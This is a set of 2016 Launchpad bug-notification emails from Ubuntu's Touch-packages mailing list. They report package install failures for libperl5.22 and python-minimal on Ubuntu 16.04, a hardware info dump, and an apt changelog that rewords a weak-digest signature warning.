dmi.board.version: x.x dmi.chassis.asset.tag: To Be Filled By O.E.M. dmi.chassis.type: 3 dmi.chassis.vendor: To Be Filled By O.E.M. dmi.chassis.version: To Be Filled By O.E.M. dmi.modalias: dmi:bvnAmericanMegatrendsInc.:bvrF2:bd07/27/2015:svnGigabyteTechnologyCo.,Ltd.:pnTobefilledbyO.E.M.:pvrTobefilledbyO.E.M.:rvnGigabyteTechnologyCo.,Ltd.:rnZ170-HD3P-CF:rvrx.x:cvnToBeFilledByO.E.M.:ct3:cvrToBeFilledByO.E.M.: dmi.product.name: To be filled by O.E.M. dmi.product.version: To be filled by O.E.M. dmi.sys.vendor: Gigabyte Technology Co., Ltd. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/alsa-driver/+bug/1574863/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1575110] [NEW] package libperl5.22 5.22.1-9 failed to install/upgrade: intentando sobreescribir el compartido `/usr/share/doc/libperl5.22/changelog.Debian.gz', que es distinto de
Public bug reported: Just that ProblemType: Package DistroRelease: Ubuntu 16.04 Package: libperl5.22 5.22.1-9 ProcVersionSignature: Ubuntu 4.4.0-21.37-generic 4.4.6 Uname: Linux 4.4.0-21-generic x86_64 ApportVersion: 2.20.1-0ubuntu2 Architecture: amd64 Date: Tue Apr 26 12:11:04 2016 ErrorMessage: intentando sobreescribir el compartido `/usr/share/doc/libperl5.22/changelog.Debian.gz', que es distinto de otras instancias del paquetes libperl5.22:i386 InstallationDate: Installed on 2016-04-25 (0 days ago) InstallationMedia: Ubuntu 16.04 LTS "Xenial Xerus" - Release amd64 (20160420.1) RelatedPackageVersions: dpkg 1.18.4ubuntu1 apt 1.2.10ubuntu1 SourcePackage: perl Title: package libperl5.22 5.22.1-9 failed to install/upgrade: intentando sobreescribir el compartido `/usr/share/doc/libperl5.22/changelog.Debian.gz', que es distinto de otras instancias del paquetes libperl5.22:i386 UpgradeStatus: No upgrade log present (probably fresh install) ** Affects: perl (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-package xenial -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to perl in Ubuntu. https://bugs.launchpad.net/bugs/1575110 Title: package libperl5.22 5.22.1-9 failed to install/upgrade: intentando sobreescribir el compartido `/usr/share/doc/libperl5.22/changelog.Debian.gz', que es distinto de otras instancias del paquetes libperl5.22:i386 Status in perl package in Ubuntu: New Bug description: Just that ProblemType: Package DistroRelease: Ubuntu 16.04 Package: libperl5.22 5.22.1-9 ProcVersionSignature: Ubuntu 4.4.0-21.37-generic 4.4.6 Uname: Linux 4.4.0-21-generic x86_64 ApportVersion: 2.20.1-0ubuntu2 Architecture: amd64 Date: Tue Apr 26 12:11:04 2016 ErrorMessage: intentando sobreescribir el compartido `/usr/share/doc/libperl5.22/changelog.Debian.gz', que es distinto de otras instancias del paquetes libperl5.22:i386 InstallationDate: Installed on 2016-04-25 (0 days ago) InstallationMedia: Ubuntu 16.04 LTS "Xenial Xerus" - Release amd64 (20160420.1) RelatedPackageVersions: dpkg 1.18.4ubuntu1 apt 1.2.10ubuntu1 SourcePackage: perl Title: package libperl5.22 5.22.1-9 failed to install/upgrade: intentando sobreescribir el compartido `/usr/share/doc/libperl5.22/changelog.Debian.gz', que es distinto de otras instancias del paquetes libperl5.22:i386 UpgradeStatus: No upgrade log present (probably fresh install) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/perl/+bug/1575110/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1574042] Re: package python-minimal 2.7.11-1 failed to install/upgrade: subprocess installed post-installation script returned error exit status 1
** Changed in: python-defaults (Ubuntu) Status: New => Invalid ** Converted to question: https://answers.launchpad.net/ubuntu/+source/python-defaults/+question/292047 -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to python-defaults in Ubuntu. https://bugs.launchpad.net/bugs/1574042 Title: package python-minimal 2.7.11-1 failed to install/upgrade: subprocess installed post-installation script returned error exit status 1 Status in python-defaults package in Ubuntu: Invalid Bug description: During upgrade my Ubuntu 15.10 to the new 16.04 LTS i take a few errors talking about python-minimal 2.7.11-1 saying failed to install/upgrade. For now the problem is: my unity not appear. Sorry for my bad English and thank you for help me. ProblemType: Package DistroRelease: Ubuntu 16.04 Package: python-minimal 2.7.11-1 ProcVersionSignature: Ubuntu 4.4.0-21.37-generic 4.4.6 Uname: Linux 4.4.0-21-generic x86_64 NonfreeKernelModules: nvidia_uvm nvidia_modeset nvidia ApportVersion: 2.20.1-0ubuntu2 Architecture: amd64 Date: Sat Apr 23 11:45:08 2016 DuplicateSignature: Setting up python-minimal (2.7.11-1) ... dpkg: error processing package python-minimal (--configure): subprocess installed post-installation script returned error exit status 1 ErrorMessage: subprocess installed post-installation script returned error exit status 1 InstallationDate: Installed on 2015-08-07 (260 days ago) InstallationMedia: Ubuntu 15.04 "Vivid Vervet" - Release amd64 (20150422) RelatedPackageVersions: dpkg 1.18.4ubuntu1 apt 1.2.10ubuntu1 SourcePackage: python-defaults Title: package python-minimal 2.7.11-1 failed to install/upgrade: subprocess installed post-installation script returned error exit status 1 UpgradeStatus: Upgraded to xenial on 2016-04-23 (0 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/python-defaults/+bug/1574042/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1574042] [NEW] package python-minimal 2.7.11-1 failed to install/upgrade: subprocess installed post-installation script returned error exit status 1
Public bug reported: During upgrade my Ubuntu 15.10 to the new 16.04 LTS i take a few errors talking about python-minimal 2.7.11-1 saying failed to install/upgrade. For now the problem is: my unity not appear. Sorry for my bad English and thank you for help me. ProblemType: Package DistroRelease: Ubuntu 16.04 Package: python-minimal 2.7.11-1 ProcVersionSignature: Ubuntu 4.4.0-21.37-generic 4.4.6 Uname: Linux 4.4.0-21-generic x86_64 NonfreeKernelModules: nvidia_uvm nvidia_modeset nvidia ApportVersion: 2.20.1-0ubuntu2 Architecture: amd64 Date: Sat Apr 23 11:45:08 2016 DuplicateSignature: Setting up python-minimal (2.7.11-1) ... dpkg: error processing package python-minimal (--configure): subprocess installed post-installation script returned error exit status 1 ErrorMessage: subprocess installed post-installation script returned error exit status 1 InstallationDate: Installed on 2015-08-07 (260 days ago) InstallationMedia: Ubuntu 15.04 "Vivid Vervet" - Release amd64 (20150422) RelatedPackageVersions: dpkg 1.18.4ubuntu1 apt 1.2.10ubuntu1 SourcePackage: python-defaults Title: package python-minimal 2.7.11-1 failed to install/upgrade: subprocess installed post-installation script returned error exit status 1 UpgradeStatus: Upgraded to xenial on 2016-04-23 (0 days ago) ** Affects: python-defaults (Ubuntu) Importance: Undecided Status: New ** Tags: amd64 apport-package xenial -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to python-defaults in Ubuntu. https://bugs.launchpad.net/bugs/1574042 Title: package python-minimal 2.7.11-1 failed to install/upgrade: subprocess installed post-installation script returned error exit status 1 Status in python-defaults package in Ubuntu: New Bug description: During upgrade my Ubuntu 15.10 to the new 16.04 LTS i take a few errors talking about python-minimal 2.7.11-1 saying failed to install/upgrade. For now the problem is: my unity not appear. Sorry for my bad English and thank you for help me. ProblemType: Package DistroRelease: Ubuntu 16.04 Package: python-minimal 2.7.11-1 ProcVersionSignature: Ubuntu 4.4.0-21.37-generic 4.4.6 Uname: Linux 4.4.0-21-generic x86_64 NonfreeKernelModules: nvidia_uvm nvidia_modeset nvidia ApportVersion: 2.20.1-0ubuntu2 Architecture: amd64 Date: Sat Apr 23 11:45:08 2016 DuplicateSignature: Setting up python-minimal (2.7.11-1) ... dpkg: error processing package python-minimal (--configure): subprocess installed post-installation script returned error exit status 1 ErrorMessage: subprocess installed post-installation script returned error exit status 1 InstallationDate: Installed on 2015-08-07 (260 days ago) InstallationMedia: Ubuntu 15.04 "Vivid Vervet" - Release amd64 (20150422) RelatedPackageVersions: dpkg 1.18.4ubuntu1 apt 1.2.10ubuntu1 SourcePackage: python-defaults Title: package python-minimal 2.7.11-1 failed to install/upgrade: subprocess installed post-installation script returned error exit status 1 UpgradeStatus: Upgraded to xenial on 2016-04-23 (0 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/python-defaults/+bug/1574042/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1558331] Re: message "The repository is insufficiently signed by key (weak digest)" is poorly worded
This update just came up now for Xenial: Cambios para las versiones de apt: Versión instalada: 1.2.7 Versión disponible: 1.2.8 Versión 1.2.8: [ Michael Vogt ] * Get accurate progress reporting in apt update again [ Julian Andres Klode ] * Report non-transient errors as errors, not as warnings * methods/gpgv: Rewrite error handling and message. Thanks to Ron Lee for wording suggestions * Use descriptive URIs in 104 Warning messages * cachefile: Only set members that were initialized successfully (Closes: #818628) * Update symbols file [ David Kalnischkies ] * do not strip epochs from state version strings (Closes: 818162) * properly check for "all good sigs are weak" (Closes: 818910) * handle gpgv's weak-digests ERRSIG [ Zhou Mo ] * zh_CN.po: update simplified Chinese translation. (Closes: #818639) [ Takuma Yamada ] * Japanese manpage translation update (Closes: 818950) So, let's see how it goes. -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to apt in Ubuntu. https://bugs.launchpad.net/bugs/1558331 Title: message "The repository is insufficiently signed by key (weak digest)" is poorly worded Status in apt package in Ubuntu: Fix Released Bug description: The title pretty much says it all. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/apt/+bug/1558331/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
